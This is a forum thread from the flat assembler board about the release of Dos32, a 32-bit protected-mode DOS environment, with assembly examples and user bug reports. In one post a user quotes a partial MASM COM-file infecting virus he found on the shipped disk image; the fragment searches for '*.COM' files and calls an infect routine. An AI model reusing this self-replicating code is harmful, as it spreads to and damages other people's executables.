flat assembler
Message board for the users of flat assembler.

Index > DOS > Dos32 release

Goto page 1, 2  Next
Author
Thread Post new topic Reply to topic
Dex4u



Joined: 08 Feb 2005
Posts: 1601
Location: web
Dex4u
Here is the 32bit dos OS i posted about, its a full 32bit dos.
You can use most of dos function from a 32bit pm enviroment.
It can run stand alone or from any 16bit plan dos.
Here is a floppy image to test in any emulator.

Note: this image is of a freedos with Dos32 running on it.
just boot the image with a emulator press enter to bypass the date and than type
Dos32 <enter> to go to Dos32
Type help for commands or you can run the test apps.

Theres the latest fasm and ide (note you can assembley fasm as the code is on the image)
there a vesa demo to show how easy it to use vesa and a basic gui (note: not all the menu as been implemented yet)

Dos32 hello world example
Code:
;=========================================================;
; hello world example                          07/02/2011 ;
;---------------------------------------------------------;
; By Dex.                                                 ;
;                                                         ;
; Here is a simple "hello world" program.                 ;
; for Dos32, using the calltable functions.               ;
; To assemble in Dos32, use fasm as follows               ;
; fasm.dex hello.asm hello.dex                            ;
;=========================================================;
use32
        ORG   0x400000          ; where our program is loaded to
        jmp   start             ; jump to the start of program.
        db    'DEX3'            ; We check for this, to make sure it's a valid Dos32 file.

msg1:   db 'Hello world! ',13,10,'$'
msg2:   db 'Press anykey to return to command.com ',13,10,'$'

 ;----------------------------------------------------;
 ; Start of program.                                  ;
 ;----------------------------------------------------;

start:
        mov   ax,18h            ; set ax to nonlinear base
        mov   ds,ax             ; add them to ds
        mov   es,ax             ; and es.
 ;----------------------------------------------------;
 ; Get int21h address.                                ;
 ;----------------------------------------------------;
        mov   eax,21h           ; mov 21h into eax
        int   21h               ; do a int 21h
        jc    Int21hError       ; if no error
        mov   dword[Int21h],eax ; save the address of int 21h functions

 ;----------------------------------------------------;
 ; Now you can use the 32 bit regs and call int 21h.  ;
 ; function just like in 16bit dos, but from a 32bit  ;
 ; pm enviroment eg: up to 4 GB.                      ;
 ; Also not you can call int 10h and a full range of  ;
 ; DexOS functions                                    ;
 ;----------------------------------------------------;

 ;----------------------------------------------------;
 ; Try print string.                                  ;
 ;----------------------------------------------------;
        ; print string 1       
        mov   edx,msg1          ; this point's to our string.
        mov   ah,09h            ; function number
        call  dword[Int21h]     ; this call dos function.

        ; print string 2
        mov   edx,msg2          ; this point's to our string.
        mov   ah,09h            ; function number
        call  dword[Int21h]     ; this call dos function.

        ; Dos's wait for keypress function.
        mov   ah,07h            ; function number
        call  dword[Int21h]     ; this call the wait for keypress function
        
Int21hError:
        ret                     ; This returns to the CLI/GUI

 ;----------------------------------------------------;
 ; Data.                                              ;
 ;----------------------------------------------------;

Int21h   dd 0
                                                                      
    


Note: if you want to test it on real PC let me know as the image is differant.

[EDIT] Please read latter post for update [/edit]


Last edited by Dex4u on 14 Feb 2011, 22:40; edited 1 time in total
Post 07 Feb 2011, 18:26
View user's profile Send private message Reply with quote
revolution
When all else fails, read the source


Joined: 24 Aug 2004
Posts: 17715
Location: In your JS exploiting you and your system
revolution
Dex4u wrote:
Code:
;...
        jmp   start             ; jump to the start of program.
        db    'DEX3'            ; We check for this, to make sure it's a valid
;...
start:
;...    
Does this 'jmp' have to be short? If so then I suggest you put 'jmp short start' to catch any error at assembly time.
Post 07 Feb 2011, 18:47
View user's profile Send private message Visit poster's website Reply with quote
Coty



Joined: 17 May 2010
Posts: 554
Location: &#9216;
Coty
Very cool! Cool it seems very fast!

@revolution: Doesn't Fasm automatically assume a short jump as long as it is in rang?
Post 07 Feb 2011, 20:44
View user's profile Send private message Send e-mail Visit poster's website Reply with quote
revolution
When all else fails, read the source


Joined: 24 Aug 2004
Posts: 17715
Location: In your JS exploiting you and your system
revolution
Coty wrote:
@revolution: Doesn't Fasm automatically assume a short jump as long as it is in rang?
Yes. And that is the problem. You can't always assume the jump is in range. What happens if the jmp is long?
Code:
 jmp start ;is this short or long?
 db 'DEX3'
 db <lots of data here>
 <lots of code here>
start: ;Did we need a long jmp to get here?    
So my question is will DEX3 detect and handle it properly or does the jmp have to be short to work?
Post 07 Feb 2011, 21:06
View user's profile Send private message Visit poster's website Reply with quote
Dex4u



Joined: 08 Feb 2005
Posts: 1601
Location: web
Dex4u
Thanks for both input, and yes it does test for both offsets, as did DexOS.

@Coty, Before loading the apps, i need to test for the 'DEX3' ID being at two different offsets just in case its not a short .
Post 07 Feb 2011, 21:18
View user's profile Send private message Reply with quote
revolution
When all else fails, read the source


Joined: 24 Aug 2004
Posts: 17715
Location: In your JS exploiting you and your system
revolution
It would seem simpler to just have:
Code:
 db 'DEX3' ;signature
start:
 ;code goes here    
Then no jmp tests are needed, just a signature test only.
Post 07 Feb 2011, 21:31
View user's profile Send private message Visit poster's website Reply with quote
Dex4u



Joined: 08 Feb 2005
Posts: 1601
Location: web
Dex4u
True, but at the time i learn t assembly you could not do that.
Post 07 Feb 2011, 21:43
View user's profile Send private message Reply with quote
edfed



Joined: 20 Feb 2006
Posts: 4242
Location: 2018
edfed
no special signature at all is an option?
use file extension, or assume the file is a dos3 executable, then, no need for the header, pure flat binary...?
Code:
org 400000h ;to differenciate from org 100h's .com
use32   ;32 bits instrucitons
...    ;type your text here
    
Post 07 Feb 2011, 22:26
View user's profile Send private message Visit poster's website Reply with quote
tom tobias



Joined: 09 Sep 2003
Posts: 1320
Location: usa
tom tobias
Dex4u wrote:
Note: if you want to test it on real PC let me know as the image is differant.
Thanks, Dex.

Yes, I would like to download the version which runs on an actual computer, if it can be arranged!!

Will the image be written to cdrom, or usb flash memory, or both?

cheers,
tom
Post 08 Feb 2011, 11:18
View user's profile Send private message Reply with quote
edfed



Joined: 20 Feb 2006
Posts: 4242
Location: 2018
edfed
i'd like to test on my netbook, from WIN98 DOS installed on USB flash.

just need a .com or .exe file, boot DOS, then, launch DOS32.exe

i suggest an extension for the DOS32 executables

program.d32

and confirm that there is no need at all for the DOS3 checking, assume the programm is a valid executable and that's all.
it will simplify the code, and the launch process too.
and if there is a very good reason to make it org 400000h, let it be, but instead, it would be better to do a org 200h, org 1000h, or anything smaller.

Code:
org 400000h
use32
...
    
Post 08 Feb 2011, 12:29
View user's profile Send private message Visit poster's website Reply with quote
i-don



Joined: 18 Jul 2003
Posts: 66
i-don
I've tried on VPC2007. All the *.DEX program were failed to load. The cursor keep blinking on empty space below the prompt line after press Enter.

EDIT: after awhile, Abort, failed, retry message appeared telling me it can't read the floppy and did not respond to the keyboard entry. Can't continue, have to reboot.

One question though, does DOS32 supporting FAT32?

@edfed, *.d32 sound like a database files. I preferred *.b32 or *.x32 much better to represent binary 32-bit or executable 32-bit.
Post 08 Feb 2011, 15:41
View user's profile Send private message Reply with quote
Dex4u



Joined: 08 Feb 2005
Posts: 1601
Location: web
Dex4u
First thanks for all your feed back, here is a ver for real PC, just make a bootable dos disk, can be floppy, cd, hdd, usb. win98 startup disk etc.
Than add the files from the Dos32PC.zip
Once booted to Dos, type Dos32 <enter>

NOTE: It must be a plain Dos, NO Extended memory etc.

And you will be able to use fat32 etc, if the underling Dos supports it.

As for VPC2007 i will get a copy and find the problem and get back to you

PS: If you boot from usb you can read/write to it, but do not try and change it once booted, as that will not work.

PPS: If you test it on real PC, do not use the emulation ver, use the Dos32PC ver.

[EDIT] Please read latter post for update [/edit]


Last edited by Dex4u on 14 Feb 2011, 22:41; edited 1 time in total
Post 08 Feb 2011, 16:17
View user's profile Send private message Reply with quote
i-don



Joined: 18 Jul 2003
Posts: 66
i-don
Probably it's not related, I the working of your DexOS running under VPC is the kernel v3 with US keyboard running on a HDD. The other version were not working. Is there a chance it was the same case?
Post 09 Feb 2011, 16:50
View user's profile Send private message Reply with quote
Dex4u



Joined: 08 Feb 2005
Posts: 1601
Location: web
Dex4u
Hi i-don,
I have done some test and i get the same results on VPC2007 as you, in DexOS the read\write had both pm hdd, floppy drivers and bios, but dos32 goes back to realmode and uses dos functions for read/write.

It something to do with the way VPC2007, it does not like something in the switching code, so when you get the abort, etc its stuck in realmode Dos, when you press the keyboard it is not past to realmode dos so we get stuck.

It does not do this in all the real pc i have tested it on.

One thing you can test in DexOS is if you get the old problem try typing
PMODE <enter>

And it should then work ok.

Note this is for DexOS, as i have not added the pm drivers to Dos32 yet.
Post 09 Feb 2011, 20:13
View user's profile Send private message Reply with quote
f2



Joined: 30 May 2010
Posts: 13
Location: France
f2
Hi Dex,

I have tested your new Dos32, both on Qemu and on an old computer (because it is the only one to have a floppy drive). And I have not encountered any problems. Well, it looks like a 32-bit DOS extender, even if it is not really one. Anyway, it's a good project you have and I'm waiting for the next releases...

Regards,
f2
Post 09 Feb 2011, 22:36
View user's profile Send private message Reply with quote
Dex4u



Joined: 08 Feb 2005
Posts: 1601
Location: web
Dex4u
Hi f2, thanks for testing and yes your right about the DOS extender, but the thing i did not like about normal DOS extenders, you need to do alot of setting up and code in a different way than realmode dos.
With Dos32 it should be much easier to move from RM to PM, by reading those old dos asm tuts.

PS: When you test the next release, you can make a bootable usb dos fob, then add the above files.
And boot that way, as it can still read/write to the usb.
Post 10 Feb 2011, 01:30
View user's profile Send private message Reply with quote
Dex4u



Joined: 08 Feb 2005
Posts: 1601
Location: web
Dex4u
UPDATE I have now fixed it so you can use the same ver in real and emulators
including VPC2007


Last edited by Dex4u on 28 Feb 2011, 23:18; edited 2 times in total
Post 14 Feb 2011, 22:58
View user's profile Send private message Reply with quote
DOS386



Joined: 08 Dec 2006
Posts: 1901
DOS386
Got "freedos.img" from here: http://www.dex.asm4u.net/Dos32/

Code:
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H 

;This host is a shell of a program which will release the virus into the 
;system. All it does is jump to the virus routine, which does its job and 
;returns to it, at which point it terminates to DOS. 

HOST: 
  jmp NEAR PTR VIRUS_START ;MASM cannot assemble this jmp correctly 
  db 'VI'
  mov ah,4CH 
  mov al,0 
  int 21H ;terminate normally with DOS 
VIRUS: ;a label for the first byte of the virus 
  COMFILE DB '*.COM',0 ;search string for a com file 

VIRUS_START: 
  call GET_START ;get start address 
;This is a trick to determine the location of the start of the program. We put 
;the address of GET_START on the stack with the call, which is overlayed by 
;VIR_START. Subtract offsets to get @VIRUS 
GET_START: 
  sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS 
  mov dx,OFFSET DTA ;put DTA at the end of the virus for now 
  mov ah,1AH ;set new DTA function 
  int 21H 
  call FIND_FILE ;get a com file to attack 
  jnz EXIT_VIRUS ;returned nz - no file to infect, exit 
  call INFECT ;have a good COM file to use - infect it 
  mov dx,OFFSET FNAME ;display the name of the file just infected 
  mov WORD PTR [HANDLE],24H ;make sure string terminates w/ '$'
  mov ah,9 
  int 21H ;display it 
EXIT_VIRUS:  
    


Why do you include viriii . and even in MA$M syntax ??? Shocked

ASS'ume WtF ...

PS: "VesaDemo.DEX" doesn't work (hardcoded 32bpp mode numbers ???)

PPSS: it comes even worse: you included my code Shocked

Code:
SOMEMEMORY = $100000            ; 1 MB , more than high enough (code < 1KB, segment 4 MB)
BUF32     = SOMEMEMORY          ; $32 = #50 bytes
DOSMEMSEL = SOMEMEMORY + $32    ; 2 bytes
DOSMEMSEG = SOMEMEMORY + $34    ; 2 bytes
DOSMEMLIN = SOMEMEMORY + $36    ; 4 bytes
VESABUF   = SOMEMEMORY + $3A    ; $200 bytes
VESAOK    = SOMEMEMORY + $023A  ; 1 byte
PBUF      = SOMEMEMORY + $023B  ; $50 = #80 bytes
VESABUFPO = SOMEMEMORY + $028B  ; 2 bytes

    use32
    org 0

; *** Print text using DOS API Translation ***

    mov    ax,$0900
    mov    edx,t8
    int    21h
    jmp @f

t8 db 'Hello (API Trans) !!!',0Dh,0Ah,24h

@@:

; *** Create ZERO-based segment ***

    mov cx,1
    xor ax,ax
    int 31h           ; allocate descriptor for data
    mov di,ax
    mov dx,ds
    lar cx,dx
    shr cx,8
    or  cx,0C000h
    mov bx,di
    int 31h           ; set data descriptor access rights
    mov ecx,0   ;ZERO
    mov edx,0
    mov ax,7          ; set descriptor base address CX:DX // CX high
    int 31h
    mov bx,di   ;HACK ???
    int 31h
    mov cx,0FFFFh
    mov dx,0FFFFh 
    


FYI, the code ^^^ is obsolete, CopyLeft, PublicDomain, and it sucks Shocked

PPPSSS: you seem to have have a 63-vs-55-mask-BUG in Sad

_________________
Bug Nr.: 12345

Title: Hello World program compiles to 100 KB !!!

Status: Closed: NOT a Bug
Post 17 Feb 2011, 10:00
View user's profile Send private message Reply with quote
Dex4u



Joined: 08 Feb 2005
Posts: 1601
Location: web
Dex4u
Laughing This freedos image is the image that i used to test members code, including yours, they are just .asm files, you should be pleased thats what you posted it for Wink

And whats a "63-vs-55-mask-BUG" mean ?.

The 100k hello world is a test app to test fasm, what happens when you assemble a 100k file with 50k of space left on the disk.

PS: thats not a virus, its a DTA example, of find first etc.
Post 17 Feb 2011, 19:39
View user's profile Send private message Reply with quote
i-don



Joined: 18 Jul 2003
Posts: 66
i-don
The new version is working great now on VPC. But I have a problem with the keyboard. Especially the backslash key. When FreeDOS boot, the keyboard was OK with the key. But when Dos2X launched, backslash turn into # character.

It's like the Dos2X has it's own keyboard driver an it's not compatible with my keyboard. An UK keyboard driver, I presumed. So, what solution to be used to restore the previous real mode keyboard mode?

I assumed most DOS boot using US keyboard since beginning of the OS history. Other keyboard like UK and other has to load driver after the DOS boot. Shouldn't Dos32/Dos2x has to do the same once loading into the PMode?
Post 18 Feb 2011, 16:14
View user's profile Send private message Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  
Goto page 1, 2  Next

< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2020, Tomasz Grysztar. Also on GitHub, YouTube, Twitter.

Website powered by rwasa.